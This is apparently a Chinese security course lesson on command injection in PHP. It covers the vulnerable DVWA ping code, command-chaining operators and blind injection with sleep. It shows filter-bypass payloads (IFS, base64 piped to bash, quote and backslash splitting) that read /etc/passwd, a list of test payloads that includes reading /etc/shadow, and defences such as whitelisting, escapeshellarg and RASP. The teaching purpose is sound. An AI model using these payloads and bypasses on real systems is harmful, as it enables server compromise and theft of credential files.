Skip to content

14命令与代码注入:常令安全人员半夜应急的漏洞

上一讲介绍了文件上传漏洞的攻防原理,利用可能直接控制服务器,危害严重。

本节课再给大家介绍一种叫命令注入的严重漏洞,由于它也能直接控制服务器,因此常令企业安全人员半夜应急。

为何是半夜呢?因为搞站的人经常是晚上下班后开搞,也专业挑安全人员下班的时间,减少被发现和阻断的情况。

命令注入漏洞成因

命令注入,主要指应用在服务器或客户端上,允许拼接系统命令并执行而造成的漏洞。对于 web 网站,通常是针对服务器的攻击利用。

PHP 中常见的系统命令执行函数有:

  • system()

  • exec()

  • shell_ exec()

  • proc_open()

  • popen()

  • passthru()

  • ......

如果外部用户的输入数据(如 GET、POST、Cookie 等数据)未做任何过滤或转义,直接转递给上述命令执行函数,就会造成命令注入漏洞。

总结下形成命令注入漏洞的条件:

  • 内部存在命令执行函数的调用

  • 用户输入数据作为参数传递给命令执行函数

  • 输入参数未做任何过滤或转义

漏洞利用实战

1.命令拼接技巧

注入命令过程中,常常需要使用一些系统命令的拼接方式,以达到更多复杂功能的实现,尤其是存在限制的情况,运用好可用来绕过限制。

常用拼接符号如下。

  • &&

命令格式:cmd1 && cmd2,cmd1 执行成功后才会执行 cmd2。

  • |

命令格式:cmd1 | cmd2,cmd1 的执行结果传递给 cmd2 去执行。

  • ||

命令格式:cmd1 || cmd2,cmd1 执行失败后就执行 cmd2。

  • &

命令格式:cmd1 & cmd2,& 用于分隔多个命令,命令按顺序 cmd1、cmd2 执行。

  • ;

命令格式:cmd1 ; cmd2,分号用于分隔多个命令去执行,命令按顺序 cmd1、cmd2 执行。

  • ``

命令格式:cmd,注意这里是对反斜号,代表命令执行结果的输出,即命令替换。

  • $()

命令格式:$(cmd),用于命令替换,适用于 cmd 中需要使用多个拼接符。

  • ()

命令格式:(cmd1;cmd2),合并多个命令,重新开启子 shell 来执行命令。

  • {}

命令格式:{cmd,arg},Linux bash 下用于合并多个命令及参数,在当前 shell 执行。

2.靶场演练

以 DVWA 靶场的命令注入题目为例,漏洞代码如下。

php
<?php
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];
    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }
    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}
?>

它在获取用户输入的 IP 地址后直接传递给 shell_exec 函数去执行,如果我们利用前面介绍的命令拼接方式去注入其他命令就可以被执行,比如通过分号输入以下命令:

java
127.0.0.1; id

提交后可以看到 id 命令的执行结果,说明命令注入成功。

图 1 利用漏洞执行命令 id

其他连接符号的利用,你也可以尝试下。

此处是有回显内容的,若无回显就需要使用一些盲注技巧,比如 sleep 延时命令:

127.0.0.1 && sleep 5

也可使用输出重定向符号">"与">>",输出内容到指定文件,然后访问对应文件是否存在,比如:

java
127.0.0.1; echo "test" > test.txt (由于靶场环境限制无法在网站根目录创建文件,所以此用例不会成功)
127.0.0.1; echo 'test'>/app/hackable/uploads/text.txt
提交上述用例后,访问http://127.0.0.1/hackable/uploads/text.txt即可看到输出成功

执行效果如图 2 所示。

图 2 注入命令写文件成功

还有访问自己的服务器,看日志判断是否命令执行成功,比较便捷的方式就是使用 BurpSuit Collaborator ,在诸多盲注场景下它都适用。

3.常用的限制绕过技巧

(1)绕过单命令限制

命令注入点有时是某一执行程序的参数,比如 ls 命令,注入再多的参数也难达到控制服务器的目的,此时我们就需要采用多命令注入方式,你可以回头再看下刚刚讲的命令拼接技巧中介绍的各种方法。

(2)空格绕过

有时会遇到对输入命令参数进行空格过滤,比如输入命令:

java
cat /etc/passwd;

就会变成:

java
cat/etc/passwd;

导致执行失败。

你可以尝试以下几种方法去绕过。

  • IFS 分隔符

IFS(Internal Field Seperator,内部域分隔符)是 shell 下的特殊环境变量,可以是空格、Tab、换行符或者其他自定义符号,如图 3 利用 IFS 分隔符成功读取到敏感文件。

java
cat$IFS/etc/passwd

图 3 利用 IFS 分隔符绕过空格限制

  • URL 编码

可以在请求参数中用 %20、+、%09(tab) 等方式来绕过:

java
cat%20/etc/passwd
cat+/etc/passwd
cat%09/etc/passwd
  • {cmd,arg}

在 Linux bash 环境中可以使用花括号 {cmd,arg} 扩展来绕过:

java
{cat,etc/passwd}

这个依赖 bash 环境,并不是那么通用的方式,比如在 DVWA 靶场中就不适用。
(3)黑名单绕过

绕过黑名单就是先探测哪些是黑名单,尽量避开不用,如果还不行可以考虑以下方法。

  • shell 特殊变量

先看下 shell 中的一些特殊变量:

比如 cat 命令被禁,利用上述特殊变量,我们就可以这样构造来绕过:

java
ca$1t /etc/passwd
cat$*t /etc/passwd
ca$@t /etc/passwd
  • 编码绕过

直接将命令字符串转换成 URL 编码、hex 码、base 64 等编码,再转换回来执行:

shell
# Base64编码命令"cat /etc/passwd"
echo "Y2F0IC9ldGMvcGFzc3dk"|base64 -d|bash
# Hex编码命令"cat /etc/passwd"
echo "636174202f6574632f706173737764"|xxd -r -p|bash
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
# URL编码
cat%20%2Fetc%2Fpasswd
  • 变量自定义

将黑名单内容拆分到不同的变量,再拼接起来执行。

java
a=c;b=at;c="/etc/passwd";$a$b $c
  • 反斜杠

反斜杠的作用就是转义,因此可用来拆分黑名单字符串,但又不影响结果。

java
c\a\t /et\c/pas\s\wd
  • 单双引号

单双引号内的内容会被当作字符串处理,跟其他字符串可拼接出我们需要的命令行字符串。

java
c"a"t /et''c/p'a'sswd

挖掘命令注入漏洞

1.代码审计

代码审计思路就是追踪污点(用户可控数据,如 Get、Post 数据等等)的传播,看是否未经限制就传递给命令执行函数(system、exec、shell_ exec 等等)。

2.黑盒扫描

通过漏洞扫描器来检测漏洞,对用户输入参数去构造一些命令,然后检测返回结果,最常用的无害命令就是 sleep 函数,看延时情况来判断是否执行成功,无论执行结果有无回显,均可适用。

一些常用的 Linux 平台的命令注入测试用例如下:

java
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
......

Windows 平台以及其他更多的测试用例可参考 command-injection-payload-list

漏洞防御

1.代码层面的漏洞规避

尽量不用系统命令执行函数,这是最简单粗暴的方式,但也是最有效的方式。很多方式其实是可以通过一些语言内置 API 完成,这些攻击者是无法控制 API 去执行其他预料之外的命令,除非 API 存在漏洞。

如果一定要使用命令执行函数,就尽量不要将外部可控数据作为命令行参数。

如果要将用户可控数据传递给命令执行函数,那首先推荐白名单方式,然后再是考虑转义过滤,以及数据格式校验。比如靶场题目是输入 IP 地址,那你可以使用正则做 IP 格式的检测,不符合就拒绝请求。总之,尽可能限制可输入参数的范围,比如仅允许数字或者数字字母等方式。

转义过滤:可以使用 escapeshellcmd 函数对整个命令字符串作转义,它会在以下字符之前插入反斜线: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF,但即使如此,攻击者还是可以传入任意数量的参数,此时可以使用 escapeshellarg() 函数对单个参数进行转义。

2.命令执行监控与阻断

基于命令执行函数监控,比如 PHP 环境下对 system 函数进行 hook,Java 环境下的 java.lang.Runtime.exec() 函数,当漏洞触发时可告警出来,并支持阻断功能,这就是前面课程多次提到过的 RASP 方案,准确率理论上可达到 100%。

推荐百度开源的 OpenRASP 产品,下图是其拦截 JSP 命令执行漏洞的事件截图。

图 4 OpenRASP 拦截命令执行

总结

本课主要以 PHP 环境下的"命令注入"场景作为演示,介绍了命令注入漏洞的成因,以及常见的利用技巧,特别总结了些常见的限制绕过方法,最后同样讲解漏洞挖掘与防御的主流方式。

命令注入原理和利用相对比较简单,但在真实业务场景中,用户可控变量的传递往往比较复杂,并不一定那么容易发现和构造利用,往往是黑盒扫描与白盒代码审计相结合去发现,业务上线后再结合 RASP 等安全系统去监控和拦截。

WAF 在命令注入检测中有作用相对比较有限,因为有些命令就是简单字母字符串,比如 id。拦截此参数很大概率会连正常请求都阻断点,会影响正常业务功能,所以很多时候都是设法从程序运行环境、系统底层去做检测与拦截。


课程评价入口,挑选 5 名小伙伴赠送小礼品~